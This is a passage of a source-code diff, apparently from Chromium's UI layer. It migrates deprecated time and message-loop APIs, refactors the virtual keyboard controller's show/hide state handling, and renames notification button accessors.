@@ -6,7 +6,7 @@
 #define UI_GFX_ANIMATION_TEST_ANIMATION_DELEGATE_H_
 
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "ui/gfx/animation/animation_delegate.h"
 
 namespace gfx {
@@ -20,13 +20,13 @@
 
   virtual void AnimationEnded(const Animation* animation) {
     finished_ = true;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   virtual void AnimationCanceled(const Animation* animation) {
     finished_ = true;
     canceled_ = true;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   bool finished() const {
diff --git a/ui/gfx/animation/tween.cc b/ui/gfx/animation/tween.cc
index 1cebe30..1fced2c 100644
--- a/ui/gfx/animation/tween.cc
+++ b/ui/gfx/animation/tween.cc
@@ -98,8 +98,8 @@
 }
 
 double TimeDeltaDivide(base::TimeDelta dividend, base::TimeDelta divisor) {
-  return static_cast<double>(dividend.ToInternalValue()) /
-         static_cast<double>(divisor.ToInternalValue());
+  return static_cast<double>(dividend.InMicroseconds()) /
+         static_cast<double>(divisor.InMicroseconds());
 }
 
 }  // namespace
diff --git a/ui/gfx/paint_vector_icon.cc b/ui/gfx/paint_vector_icon.cc
index 0c642bf4..d9e1d45 100644
--- a/ui/gfx/paint_vector_icon.cc
+++ b/ui/gfx/paint_vector_icon.cc
@@ -392,8 +392,9 @@
         if (elapsed_time >= delay + duration) {
           state = 1;
         } else if (elapsed_time > delay) {
-          state = (elapsed_time - delay).ToInternalValue() /
-                  static_cast<double>(duration.ToInternalValue());
+          DCHECK(!duration.is_zero());
+          state = (elapsed_time - delay).InMicroseconds() /
+                  static_cast<double>(duration.InMicroseconds());
         }
 
         auto weight = Tween::CalculateValue(
diff --git a/ui/gl/sync_control_vsync_provider.cc b/ui/gl/sync_control_vsync_provider.cc
index f9dc5c5..d45840e8 100644
--- a/ui/gl/sync_control_vsync_provider.cc
+++ b/ui/gl/sync_control_vsync_provider.cc
@@ -40,8 +40,6 @@
     const UpdateVSyncCallback& callback) {
   TRACE_EVENT0("gpu", "SyncControlVSyncProvider::GetVSyncParameters");
 #if defined(OS_LINUX)
-  base::TimeTicks timebase;
-
   // The actual clock used for the system time returned by glXGetSyncValuesOML
   // is unspecified. In practice, the clock used is likely to be either
   // CLOCK_REALTIME or CLOCK_MONOTONIC, so we compare the returned time to the
@@ -67,16 +65,18 @@
   }
 
   struct timespec real_time;
-  struct timespec monotonic_time;
   clock_gettime(CLOCK_REALTIME, &real_time);
-  clock_gettime(CLOCK_MONOTONIC, &monotonic_time);
+  // Note: A thread context switch could happen here, between the sampling of
+  // the two different clocks.
+  const base::TimeTicks monotonic_time = base::TimeTicks::Now();
+  DCHECK_EQ(base::TimeTicks::GetClock(),
+            base::TimeTicks::Clock::LINUX_CLOCK_MONOTONIC);
 
   int64_t real_time_in_microseconds =
       real_time.tv_sec * base::Time::kMicrosecondsPerSecond +
       real_time.tv_nsec / base::Time::kNanosecondsPerMicrosecond;
   int64_t monotonic_time_in_microseconds =
-      monotonic_time.tv_sec * base::Time::kMicrosecondsPerSecond +
-      monotonic_time.tv_nsec / base::Time::kNanosecondsPerMicrosecond;
+      monotonic_time.since_origin().InMicroseconds();
 
   // We need the time according to CLOCK_MONOTONIC, so if we've been given
   // a time from CLOCK_REALTIME, we need to convert.
@@ -102,7 +102,8 @@
       base::Time::kMicrosecondsPerSecond)
     return;
 
-  timebase = base::TimeTicks::FromInternalValue(system_time);
+  const base::TimeTicks timebase =
+      base::TimeTicks() + base::TimeDelta::FromMicroseconds(system_time);
 
   // Only need the previous calculated interval for our filtering.
   while (last_computed_intervals_.size() > 1)
@@ -140,11 +141,10 @@
 #else
         LOG(FATAL)
 #endif  // USE_ASH
-            << "Calculated bogus refresh interval="
-            << new_interval.InMicroseconds()
-            << " us., last_timebase_=" << last_timebase_.ToInternalValue()
-            << " us., timebase=" << timebase.ToInternalValue()
-            << " us., last_media_stream_counter_=" << last_media_stream_counter_
+            << "Calculated bogus refresh interval=" << new_interval
+            << ", last_timebase_=" << last_timebase_
+            << ", timebase=" << timebase
+            << ", last_media_stream_counter_=" << last_media_stream_counter_
             << ", media_stream_counter=" << media_stream_counter;
       } else {
         last_good_interval_ = new_interval;
diff --git a/ui/gl/vsync_provider_win.cc b/ui/gl/vsync_provider_win.cc
index 8025ca9..b5c7c61 100644
--- a/ui/gl/vsync_provider_win.cc
+++ b/ui/gl/vsync_provider_win.cc
@@ -105,7 +105,7 @@
     }
   }
 
-  if (interval.ToInternalValue() != 0) {
+  if (!interval.is_zero()) {
     callback.Run(timebase, interval);
   }
 }
diff --git a/ui/keyboard/keyboard_controller.cc b/ui/keyboard/keyboard_controller.cc
index 34041da..2cba7ae 100644
--- a/ui/keyboard/keyboard_controller.cc
+++ b/ui/keyboard/keyboard_controller.cc
@@ -97,14 +97,13 @@
            keyboard::KeyboardControllerState::HIDING},
 
           // HIDING -> SHOWING is possible when ShowKeyboard is called during
-          // hide
-          // animation. KeyboardControllerAnimationTest.ContainerShowWhileHide.
+          // hide animation.
+          // KeyboardControllerAnimationTest.ContainerShowWhileHide.
           {keyboard::KeyboardControllerState::HIDING,
            keyboard::KeyboardControllerState::SHOWING},
 
           // SHOWING -> WILL_HIDE is possible when focus is removed while
-          // keyboard
-          // being shown.
+          // keyboard being shown.
           {keyboard::KeyboardControllerState::SHOWING,
            keyboard::KeyboardControllerState::WILL_HIDE},
       };
@@ -258,7 +257,6 @@
                                        KeyboardLayoutDelegate* delegate)
     : ui_(std::move(ui)),
       layout_delegate_(delegate),
-      keyboard_visible_(false),
       show_on_resize_(false),
       keyboard_locked_(false),
       keyboard_mode_(FULL_WIDTH),
@@ -296,10 +294,8 @@
 }
 
 bool KeyboardController::keyboard_visible() const {
-  bool res = state_ == KeyboardControllerState::SHOWING ||
-             state_ == KeyboardControllerState::SHOWN;
-  DCHECK(res == keyboard_visible_) << StateToStr(state_);
-  return keyboard_visible_;
+  return state_ == KeyboardControllerState::SHOWING ||
+         state_ == KeyboardControllerState::SHOWN;
 }
 
 aura::Window* KeyboardController::GetContainerWindow() {
@@ -345,9 +341,8 @@
 
   if (contents_loaded) {
     bool should_show = show_on_resize();
-    if (state_ == KeyboardControllerState::LOADING_EXTENSION) {
+    if (state_ == KeyboardControllerState::LOADING_EXTENSION)
       ChangeState(KeyboardControllerState::HIDDEN);
-    }
     if (should_show) {
       // The window height is set to 0 initially or before switch to an IME in a
       // different extension. Virtual keyboard window may wait for this bounds
@@ -377,63 +372,6 @@
   }
 }
 
-void KeyboardController::HideKeyboard(HideReason reason) {
-  TRACE_EVENT0("vk", "HideKeyboard");
-
-  weak_factory_will_hide_.InvalidateWeakPtrs();
-
-  if (state_ == KeyboardControllerState::HIDING ||
-      state_ == KeyboardControllerState::HIDDEN ||
-      state_ == KeyboardControllerState::INITIAL) {
-    // Do nothing if keyboard is already hidden or being hidden.
-    DCHECK(!keyboard_visible_);
-    return;
-  }
-
-  if (state_ == KeyboardControllerState::LOADING_EXTENSION) {
-    keyboard_visible_ = false;
-    show_on_resize_ = false;
-    return;
-  }
-
-  ToggleTouchEventLogging(true);
-
-  keyboard::LogKeyboardControlEvent(
-      reason == HIDE_REASON_AUTOMATIC ?
-          keyboard::KEYBOARD_CONTROL_HIDE_AUTO :
-          keyboard::KEYBOARD_CONTROL_HIDE_USER);
-
-  NotifyContentsBoundsChanging(gfx::Rect());
-
-  set_keyboard_locked(false);
-
-  ui::LayerAnimator* container_animator = container_->layer()->GetAnimator();
-  if (state_ == KeyboardControllerState::SHOWING) {
-    animation_observer_.reset();
-  }
-
-  keyboard_visible_ = false;
-  // Change the state here instead of at the end of the function because
-  // the animation immediately starts and may finish before the end of the
-  // function is reached.
-  ChangeState(KeyboardControllerState::HIDING);
-
-  animation_observer_.reset(new CallbackAnimationObserver(
-      container_animator,
-      base::BindOnce(&KeyboardController::HideAnimationFinished,
-                     base::Unretained(this))));
-  container_animator->AddObserver(animation_observer_.get());
-
-  ui::ScopedLayerAnimationSettings settings(container_animator);
-  settings.SetTweenType(gfx::Tween::FAST_OUT_LINEAR_IN);
-  settings.SetTransitionDuration(
-      base::TimeDelta::FromMilliseconds(kAnimationDurationMs));
-  gfx::Transform transform;
-  transform.Translate(0, kAnimationDistance);
-  container_->SetTransform(transform);
-  container_->layer()->SetOpacity(kAnimationStartOrAfterHideOpacity);
-}
-
 void KeyboardController::AddObserver(KeyboardControllerObserver* observer) {
   observer_list_.AddObserver(observer);
 }
@@ -464,6 +402,61 @@
   }
 }
 
+void KeyboardController::HideKeyboard(HideReason reason) {
+  TRACE_EVENT0("vk", "HideKeyboard");
+
+  switch (state_) {
+    case KeyboardControllerState::INITIAL:
+    case KeyboardControllerState::HIDING:
+    case KeyboardControllerState::HIDDEN:
+      return;
+    case KeyboardControllerState::LOADING_EXTENSION:
+      show_on_resize_ = false;
+      return;
+
+    case KeyboardControllerState::WILL_HIDE:
+    case KeyboardControllerState::SHOWING:
+    case KeyboardControllerState::SHOWN: {
+      ToggleTouchEventLogging(true);
+
+      keyboard::LogKeyboardControlEvent(
+          reason == HIDE_REASON_AUTOMATIC
+              ? keyboard::KEYBOARD_CONTROL_HIDE_AUTO
+              : keyboard::KEYBOARD_CONTROL_HIDE_USER);
+
+      NotifyContentsBoundsChanging(gfx::Rect());
+
+      set_keyboard_locked(false);
+
+      ui::LayerAnimator* container_animator =
+          container_->layer()->GetAnimator();
+
+      animation_observer_.reset(new CallbackAnimationObserver(
+          container_animator,
+          base::Bind(&KeyboardController::HideAnimationFinished,
+                     base::Unretained(this))));
+      container_animator->AddObserver(animation_observer_.get());
+
+      ui::ScopedLayerAnimationSettings settings(container_animator);
+      settings.SetTweenType(gfx::Tween::FAST_OUT_LINEAR_IN);
+      settings.SetTransitionDuration(
+          base::TimeDelta::FromMilliseconds(kAnimationDurationMs));
+      gfx::Transform transform;
+      transform.Translate(0, kAnimationDistance);
+
+      // Change the state here instead of at the end of the function because
+      // the animation immediately starts in test.
+      ChangeState(KeyboardControllerState::HIDING);
+
+      container_->SetTransform(transform);
+      container_->layer()->SetOpacity(kAnimationStartOrAfterHideOpacity);
+      break;
+    }
+    default:
+      NOTREACHED();
+  }
+}
+
 void KeyboardController::ShowKeyboard(bool lock) {
   set_keyboard_locked(lock);
   ShowKeyboardInternal(display::kInvalidDisplayId);
@@ -543,39 +536,33 @@
 
   TRACE_EVENT0("vk", "OnTextInputStateChanged");
 
-  ui::TextInputType type =
-      client ? client->GetTextInputType() : ui::TEXT_INPUT_TYPE_NONE;
+  bool focused =
+      client && (client->GetTextInputType() != ui::TEXT_INPUT_TYPE_NONE);
+  bool should_hide = !focused && !keyboard_locked_;
 
-  if (type == ui::TEXT_INPUT_TYPE_NONE && !keyboard_locked_) {
-    if (state_ == KeyboardControllerState::LOADING_EXTENSION) {
-      show_on_resize_ = false;
-      return;
-    }
-    if (keyboard_visible_) {
-      // Abort possible call of ShowAnimationFinished.
-      animation_observer_.reset();
+  if (should_hide) {
+    switch (state_) {
+      case KeyboardControllerState::LOADING_EXTENSION:
+        show_on_resize_ = false;
+        return;
+      case KeyboardControllerState::SHOWING:
+      case KeyboardControllerState::SHOWN:
+        ChangeState(KeyboardControllerState::WILL_HIDE);
 
-      // Set the visibility state here so that any queries for visibility
-      // before the timer fires returns the correct future value.
-      keyboard_visible_ = false;
-      ChangeState(KeyboardControllerState::WILL_HIDE);
-
-      base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(
-          FROM_HERE,
-          base::BindOnce(&KeyboardController::HideKeyboard,
-                         weak_factory_will_hide_.GetWeakPtr(),
-                         HIDE_REASON_AUTOMATIC),
-          base::TimeDelta::FromMilliseconds(kHideKeyboardDelayMs));
+        base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(
+            FROM_HERE,
+            base::Bind(&KeyboardController::HideKeyboard,
+                       weak_factory_will_hide_.GetWeakPtr(),
+                       HIDE_REASON_AUTOMATIC),
+            base::TimeDelta::FromMilliseconds(kHideKeyboardDelayMs));
+        return;
+      default:
+        return;
     }
   } else {
     // Abort a pending keyboard hide.
-    if (WillHideKeyboard()) {
-      DCHECK(state_ == KeyboardControllerState::WILL_HIDE)
-          << StateToStr(state_);
-      weak_factory_will_hide_.InvalidateWeakPtrs();
-      keyboard_visible_ = true;
+    if (WillHideKeyboard())
       ChangeState(KeyboardControllerState::SHOWN);
-    }
     // Do not explicitly show the Virtual keyboard unless it is in the process
     // of hiding. Instead, the virtual keyboard is shown in response to a user
     // gesture (mouse or touch) that is received while an element has input
@@ -612,6 +599,8 @@
 
 void KeyboardController::PopulateKeyboardContent(int64_t display_id,
                                                  bool show_keyboard) {
+  DCHECK(show_keyboard || state_ == KeyboardControllerState::INITIAL);
+
   TRACE_EVENT0("vk", "PopulateKeyboardContent");
 
   if (layout_delegate_ != nullptr) {
@@ -621,47 +610,27 @@
       layout_delegate_->MoveKeyboardToTouchableDisplay();
   }
 
-  if (state_ == KeyboardControllerState::LOADING_EXTENSION) {
-    show_on_resize_ |= show_keyboard;
-    return;
+  if (container_->children().empty()) {
+    DCHECK(state_ == KeyboardControllerState::INITIAL);
+    aura::Window* contents = ui_->GetContentsWindow();
+    contents->Show();
+    container_->AddChild(contents);
+    contents->set_owned_by_parent(false);
   }
 
-  if (keyboard_visible())
-    return;
-
-  if (container_->children().empty()) {
-    aura::Window* keyboard = ui_->GetContentsWindow();
-    keyboard->Show();
-    container_->AddChild(keyboard);
-    keyboard->set_owned_by_parent(false);
+  switch (state_) {
+    case KeyboardControllerState::SHOWING:
+    case KeyboardControllerState::SHOWN:
+      return;
+    case KeyboardControllerState::LOADING_EXTENSION:
+      show_on_resize_ |= show_keyboard;
+      return;
+    default:
+      break;
   }
 
   ui_->ReloadKeyboardIfNeeded();
 
-  if (!show_keyboard || ui_->GetContentsWindow()->bounds().height() == 0) {
-    if (show_keyboard) {
-      // show the keyboard once loading is complete.
-      show_on_resize_ = true;
-    }
-    DCHECK(state_ == KeyboardControllerState::INITIAL);
-    ChangeState(KeyboardControllerState::LOADING_EXTENSION);
-    return;
-  }
-  DCHECK(state_ != KeyboardControllerState::INITIAL);
-  DCHECK(state_ != KeyboardControllerState::LOADING_EXTENSION);
-
-  // If the controller will hide keyboard but hasn't started to hide it yet,
-  // just abort the registered hide event and mark the state as SHOWN.
-  if (WillHideKeyboard()) {
-    weak_factory_will_hide_.InvalidateWeakPtrs();
-
-    DCHECK(state_ == KeyboardControllerState::WILL_HIDE);
-    keyboard_visible_ = true;
-    ChangeState(KeyboardControllerState::SHOWN);
-    return;
-  }
-  keyboard::LogKeyboardControlEvent(keyboard::KEYBOARD_CONTROL_SHOW);
-
   ui::LayerAnimator* container_animator = container_->layer()->GetAnimator();
 
   // If |container_| has hide animation, its visibility is set to false when
@@ -676,7 +645,6 @@
     // This should not happen in the real code. Fix the test and change this to
     // NOTREACHED.
     DCHECK(state_ == KeyboardControllerState::HIDDEN);
-    keyboard_visible_ = true;
     // Move to SHOWING first to satisfy state transition restriction.
     ChangeState(KeyboardControllerState::SHOWING);
     ChangeState(KeyboardControllerState::SHOWN);
@@ -685,26 +653,40 @@
 
   ToggleTouchEventLogging(false);
 
-  // If the container is not animating, makes sure the position and opacity
-  // are at begin states for animation.
-  if (!container_animator->is_animating()) {
-    DCHECK(state_ == KeyboardControllerState::HIDDEN);
-    gfx::Transform transform;
-    transform.Translate(0, kAnimationDistance);
-    container_->SetTransform(transform);
-    container_->layer()->SetOpacity(kAnimationStartOrAfterHideOpacity);
-  } else {
-    DCHECK(state_ == KeyboardControllerState::HIDING);
+  switch (state_) {
+    case KeyboardControllerState::INITIAL:
+      DCHECK(ui_->GetContentsWindow()->bounds().height() == 0);
+      show_on_resize_ = show_keyboard;
+      ChangeState(KeyboardControllerState::LOADING_EXTENSION);
+      return;
+    case KeyboardControllerState::WILL_HIDE:
+      ChangeState(KeyboardControllerState::SHOWN);
+      return;
+    case KeyboardControllerState::HIDING:
+      DCHECK(container_animator->is_animating());
+      break;
+    case KeyboardControllerState::HIDDEN: {
+      DCHECK(!container_animator->is_animating());
+      // If the container is not animating, makes sure the position and opacity
+      // are at begin states for animation.
+      gfx::Transform transform;
+      transform.Translate(0, kAnimationDistance);
+      container_->SetTransform(transform);
+      container_->layer()->SetOpacity(kAnimationStartOrAfterHideOpacity);
+      break;
+    }
+    default:
+      NOTREACHED();
   }
 
+  DCHECK(state_ == KeyboardControllerState::HIDING ||
+         state_ == KeyboardControllerState::HIDDEN);
+
+  keyboard::LogKeyboardControlEvent(keyboard::KEYBOARD_CONTROL_SHOW);
+
   container_animator->set_preemption_strategy(
       ui::LayerAnimator::IMMEDIATELY_ANIMATE_TO_NEW_TARGET);
 
-  keyboard_visible_ = true;
-  // Change the state here instead of at the end of the function because
-  // the animation immediately starts and may finish before the end of the
-  // function is reached.
-  ChangeState(KeyboardControllerState::SHOWING);
   if (keyboard_mode_ == FLOATING) {
     animation_observer_.reset();
   } else {
@@ -717,18 +699,17 @@
 
   ui_->ShowKeyboardContainer(container_.get());
 
-  {
-    // Scope the following animation settings as we don't want to animate
-    // visibility change that triggered by a call to the base class function
-    // ShowKeyboardContainer with these settings. The container should become
-    // visible immediately.
-    ui::ScopedLayerAnimationSettings settings(container_animator);
-    settings.SetTweenType(gfx::Tween::LINEAR_OUT_SLOW_IN);
-    settings.SetTransitionDuration(
-        base::TimeDelta::FromMilliseconds(kAnimationDurationMs));
-    container_->SetTransform(gfx::Transform());
-    container_->layer()->SetOpacity(1.0);
-  }
+  ui::ScopedLayerAnimationSettings settings(container_animator);
+  settings.SetTweenType(gfx::Tween::LINEAR_OUT_SLOW_IN);
+  settings.SetTransitionDuration(
+      base::TimeDelta::FromMilliseconds(kAnimationDurationMs));
+
+  // Change the state here instead of at the end of the function because
+  // the animation immediately starts in test.
+  ChangeState(KeyboardControllerState::SHOWING);
+
+  container_->SetTransform(gfx::Transform());
+  container_->layer()->SetOpacity(1.0);
 }
 
 bool KeyboardController::WillHideKeyboard() const {
@@ -759,11 +740,13 @@
 void KeyboardController::HideAnimationFinished() {
   if (state_ != KeyboardControllerState::HIDING)
     return;
+
   ui_->HideKeyboardContainer(container_.get());
+  ChangeState(KeyboardControllerState::HIDDEN);
+
   for (KeyboardControllerObserver& observer : observer_list_)
     observer.OnKeyboardHidden();
   ui_->EnsureCaretInWorkArea();
-  ChangeState(KeyboardControllerState::HIDDEN);
 }
 
 void KeyboardController::AdjustKeyboardBounds() {
@@ -810,17 +793,21 @@
   if (state_ == state)
     return;
 
-  // Stop ongoing animation.
-  animation_observer_.reset();
-  if (state_ != KeyboardControllerState::WILL_HIDE)
-    weak_factory_will_hide_.InvalidateWeakPtrs();
-
   state_ = state;
+
+  if (state != KeyboardControllerState::HIDING &&
+      state != KeyboardControllerState::SHOWING) {
+    // Stop ongoing animation.
+    animation_observer_.reset();
+  }
+  if (state != KeyboardControllerState::WILL_HIDE)
+    weak_factory_will_hide_.InvalidateWeakPtrs();
+  if (state != KeyboardControllerState::LOADING_EXTENSION)
+    show_on_resize_ = false;
   for (KeyboardControllerObserver& observer : observer_list_)
     observer.OnStateChanged(state);
 
   weak_factory_report_lingering_state_.InvalidateWeakPtrs();
-
   switch (state_) {
     case KeyboardControllerState::LOADING_EXTENSION:
     case KeyboardControllerState::WILL_HIDE:
diff --git a/ui/keyboard/keyboard_controller.h b/ui/keyboard/keyboard_controller.h
index d7996ea6..7315938 100644
--- a/ui/keyboard/keyboard_controller.h
+++ b/ui/keyboard/keyboard_controller.h
@@ -31,8 +31,9 @@
 class KeyboardControllerObserver;
 class KeyboardUI;
 
-// Animation distance.
-const int kAnimationDistance = 30;
+// Relative distance from the parent window, from which show animation starts
+// or hide animation finishes.
+constexpr int kAnimationDistance = 30;
 
 enum KeyboardMode {
   // Invalid mode.
@@ -102,10 +103,6 @@
   // loaded yet.
   void Reload();
 
-  // Hides virtual keyboard and notifies observer bounds change.
-  // This method immediately starts hiding animation.
-  void HideKeyboard(HideReason reason);
-
   // Notifies the observer for contents bounds changed.
   void NotifyContentsBoundsChanging(const gfx::Rect& new_bounds);
 
@@ -124,6 +121,11 @@
 
   void SetKeyboardMode(KeyboardMode mode);
 
+  // Immediately starts hiding animation of virtual keyboard and notifies
+  // observers bounds change. This method forcibly sets keyboard_locked_
+  // false while closing the keyboard.
+  void HideKeyboard(HideReason reason);
+
   // Force the keyboard to show up if not showing and lock the keyboard if
   // |lock| is true.
   void ShowKeyboard(bool lock);
@@ -225,7 +227,6 @@
   // uses container_'s animator.
   std::unique_ptr<CallbackAnimationObserver> animation_observer_;
 
-  bool keyboard_visible_;
   bool show_on_resize_;
   // If true, the keyboard is always visible even if no window has input focus.
   bool keyboard_locked_;
diff --git a/ui/latency/latency_info.cc b/ui/latency/latency_info.cc
index ff1fffe..dbc6da7 100644
--- a/ui/latency/latency_info.cc
+++ b/ui/latency/latency_info.cc
@@ -338,8 +338,8 @@
         new base::DictionaryValue());
     component_info->SetDouble("comp_id", static_cast<double>(lc.first.second));
     component_info->SetDouble(
-        "time",
-        static_cast<double>(lc.second.event_time.ToInternalValue()));
+        "time", static_cast<double>(
+                    lc.second.event_time.since_origin().InMicroseconds()));
     component_info->SetDouble("count", lc.second.event_count);
     component_info->SetDouble("sequence_number",
                               lc.second.sequence_number);
diff --git a/ui/latency/latency_info_unittest.cc b/ui/latency/latency_info_unittest.cc
index 16e4abd..3e872d4 100644
--- a/ui/latency/latency_info_unittest.cc
+++ b/ui/latency/latency_info_unittest.cc
@@ -10,21 +10,24 @@
 
 namespace ui {
 
+namespace {
+
+// Returns a fake TimeTicks based on the given microsecond offset.
+base::TimeTicks ToTestTimeTicks(int64_t micros) {
+  return base::TimeTicks() + base::TimeDelta::FromMicroseconds(micros);
+}
+
+}  // namespace
+
 TEST(LatencyInfoTest, AddTwoSeparateEvent) {
   LatencyInfo info;
   info.set_trace_id(1);
   EXPECT_FALSE(info.began());
-  info.AddLatencyNumberWithTimestamp(INPUT_EVENT_LATENCY_BEGIN_RWH_COMPONENT,
-                                     0,
-                                     1,
-                                     base::TimeTicks::FromInternalValue(100),
-                                     1);
+  info.AddLatencyNumberWithTimestamp(INPUT_EVENT_LATENCY_BEGIN_RWH_COMPONENT, 0,
+                                     1, ToTestTimeTicks(100), 1);
   EXPECT_TRUE(info.began());
-  info.AddLatencyNumberWithTimestamp(INPUT_EVENT_LATENCY_ORIGINAL_COMPONENT,
-                                     1,
-                                     5,
-                                     base::TimeTicks::FromInternalValue(1000),
-                                     2);
+  info.AddLatencyNumberWithTimestamp(INPUT_EVENT_LATENCY_ORIGINAL_COMPONENT, 1,
+                                     5, ToTestTimeTicks(1000), 2);
 
   EXPECT_EQ(info.latency_components().size(), 2u);
   LatencyInfo::LatencyComponent component;
@@ -36,27 +39,21 @@
       info.FindLatency(INPUT_EVENT_LATENCY_BEGIN_RWH_COMPONENT, 0, &component));
   EXPECT_EQ(component.sequence_number, 1);
   EXPECT_EQ(component.event_count, 1u);
-  EXPECT_EQ(component.event_time.ToInternalValue(), 100);
+  EXPECT_EQ(component.event_time, ToTestTimeTicks(100));
   EXPECT_TRUE(
       info.FindLatency(INPUT_EVENT_LATENCY_ORIGINAL_COMPONENT, 1, &component));
   EXPECT_EQ(component.sequence_number, 5);
   EXPECT_EQ(component.event_count, 2u);
-  EXPECT_EQ(component.event_time.ToInternalValue(), 1000);
+  EXPECT_EQ(component.event_time, ToTestTimeTicks(1000));
 }
 
 TEST(LatencyInfoTest, AddTwoSameEvent) {
   LatencyInfo info;
   info.set_trace_id(1);
-  info.AddLatencyNumberWithTimestamp(INPUT_EVENT_LATENCY_ORIGINAL_COMPONENT,
-                                     0,
-                                     30,
-                                     base::TimeTicks::FromInternalValue(100),
-                                     2);
-  info.AddLatencyNumberWithTimestamp(INPUT_EVENT_LATENCY_ORIGINAL_COMPONENT,
-                                     0,
-                                     13,
-                                     base::TimeTicks::FromInternalValue(200),
-                                     3);
+  info.AddLatencyNumberWithTimestamp(INPUT_EVENT_LATENCY_ORIGINAL_COMPONENT, 0,
+                                     30, ToTestTimeTicks(100), 2);
+  info.AddLatencyNumberWithTimestamp(INPUT_EVENT_LATENCY_ORIGINAL_COMPONENT, 0,
+                                     13, ToTestTimeTicks(200), 3);
 
   EXPECT_EQ(info.latency_components().size(), 1u);
   LatencyInfo::LatencyComponent component;
@@ -68,7 +65,7 @@
       info.FindLatency(INPUT_EVENT_LATENCY_ORIGINAL_COMPONENT, 0, &component));
   EXPECT_EQ(component.sequence_number, 30);
   EXPECT_EQ(component.event_count, 5u);
-  EXPECT_EQ(component.event_time.ToInternalValue(), (100 * 2 + 200 * 3) / 5);
+  EXPECT_EQ(component.event_time, ToTestTimeTicks((100 * 2 + 200 * 3) / 5));
 }
 
 TEST(LatencyInfoTest, RemoveLatency) {
diff --git a/ui/message_center/views/message_list_view.cc b/ui/message_center/views/message_list_view.cc
index 6a1b7842..ed32903 100644
--- a/ui/message_center/views/message_list_view.cc
+++ b/ui/message_center/views/message_list_view.cc
@@ -6,7 +6,7 @@
 
 #include "base/command_line.h"
 #include "base/location.h"
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/stl_util.h"
 #include "base/threading/thread_task_runner_handle.h"
@@ -334,7 +334,7 @@
     GetWidget()->SynthesizeMouseMoveEvent();
 
   if (quit_message_loop_after_animation_for_test_)
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 bool MessageListView::IsValidChild(const views::View* child) const {
diff --git a/ui/message_center/views/notification_control_buttons_view.cc b/ui/message_center/views/notification_control_buttons_view.cc
index 12fee5c..bb10972 100644
--- a/ui/message_center/views/notification_control_buttons_view.cc
+++ b/ui/message_center/views/notification_control_buttons_view.cc
@@ -131,13 +131,13 @@
   return settings_button_ && settings_button_->HasFocus();
 }
 
-message_center::PaddedButton*
-NotificationControlButtonsView::close_button_for_testing() const {
+message_center::PaddedButton* NotificationControlButtonsView::close_button()
+    const {
   return close_button_.get();
 }
 
-message_center::PaddedButton*
-NotificationControlButtonsView::settings_button_for_testing() const {
+message_center::PaddedButton* NotificationControlButtonsView::settings_button()
+    const {
   return settings_button_.get();
 }
 
diff --git a/ui/message_center/views/notification_control_buttons_view.h b/ui/message_center/views/notification_control_buttons_view.h
index 97eaedd..627f0bc9 100644
--- a/ui/message_center/views/notification_control_buttons_view.h
+++ b/ui/message_center/views/notification_control_buttons_view.h
@@ -54,9 +54,9 @@
   // close button, false otherwise.
   bool IsSettingsButtonFocused() const;
 
-  // Methods for testing.
-  message_center::PaddedButton* close_button_for_testing() const;
-  message_center::PaddedButton* settings_button_for_testing() const;
+  // Methods for retrieving the control buttons directly.
+  message_center::PaddedButton* close_button() const;
+  message_center::PaddedButton* settings_button() const;
 
   // views::View
   const char* GetClassName() const override;
diff --git a/ui/message_center/views/notification_view.cc b/ui/message_center/views/notification_view.cc
index 33c7c19..67559aa 100644
--- a/ui/message_center/views/notification_view.cc
+++ b/ui/message_center/views/notification_view.cc
@@ -141,6 +141,34 @@
 
 // NotificationView ////////////////////////////////////////////////////////////
 
+views::View* NotificationView::TargetForRect(views::View* root,
+                                             const gfx::Rect& rect) {
+  CHECK_EQ(root, this);
+
+  // TODO(tdanderson): Modify this function to support rect-based event
+  // targeting. Using the center point of |rect| preserves this function's
+  // expected behavior for the time being.
+  gfx::Point point = rect.CenterPoint();
+
+  // Want to return this for underlying views, otherwise GetCursor is not
+  // called. But buttons are exceptions, they'll have their own event handlings.
+  std::vector<views::View*> buttons(action_buttons_.begin(),
+                                    action_buttons_.end());
+  if (control_buttons_view_->settings_button())
+    buttons.push_back(control_buttons_view_->settings_button());
+  if (control_buttons_view_->close_button())
+    buttons.push_back(control_buttons_view_->close_button());
+
+  for (size_t i = 0; i < buttons.size(); ++i) {
+    gfx::Point point_in_child = point;
+    ConvertPointToTarget(this, buttons[i], &point_in_child);
+    if (buttons[i]->HitTestPoint(point_in_child))
+      return buttons[i]->GetEventHandlerForPoint(point_in_child);
+  }
+
+  return root;
+}
+
 void NotificationView::CreateOrUpdateViews(const Notification& notification) {
   CreateOrUpdateTitleView(notification);
   CreateOrUpdateMessageView(notification);
diff --git a/ui/message_center/views/notification_view.h b/ui/message_center/views/notification_view.h
index 9a9cf74..01570ec 100644
--- a/ui/message_center/views/notification_view.h
+++ b/ui/message_center/views/notification_view.h
@@ -72,6 +72,9 @@
 
   friend class NotificationViewTest;
 
+  // views::ViewTargeterDelegate:
+  views::View* TargetForRect(views::View* root, const gfx::Rect& rect) override;
+
   void CreateOrUpdateViews(const Notification& notification);
 
   void CreateOrUpdateTitleView(const Notification& notification);
diff --git a/ui/message_center/views/notification_view_unittest.cc b/ui/message_center/views/notification_view_unittest.cc
index 3e0ee88..4e5ac15 100644
--- a/ui/message_center/views/notification_view_unittest.cc
+++ b/ui/message_center/views/notification_view_unittest.cc
@@ -163,13 +163,11 @@
   }
 
   PaddedButton* GetCloseButton() {
-    return notification_view()
-        ->control_buttons_view_->close_button_for_testing();
+    return notification_view()->control_buttons_view_->close_button();
   }
 
   PaddedButton* GetSettingsButton() {
-    return notification_view()
-        ->control_buttons_view_->settings_button_for_testing();
+    return notification_view()->control_buttons_view_->settings_button();
   }
 
   void UpdateNotificationViews() {
diff --git a/ui/ozone/platform/drm/gpu/crtc_controller.cc b/ui/ozone/platform/drm/gpu/crtc_controller.cc
index 68d504a..7cd12cb0 100644
--- a/ui/ozone/platform/drm/gpu/crtc_controller.cc
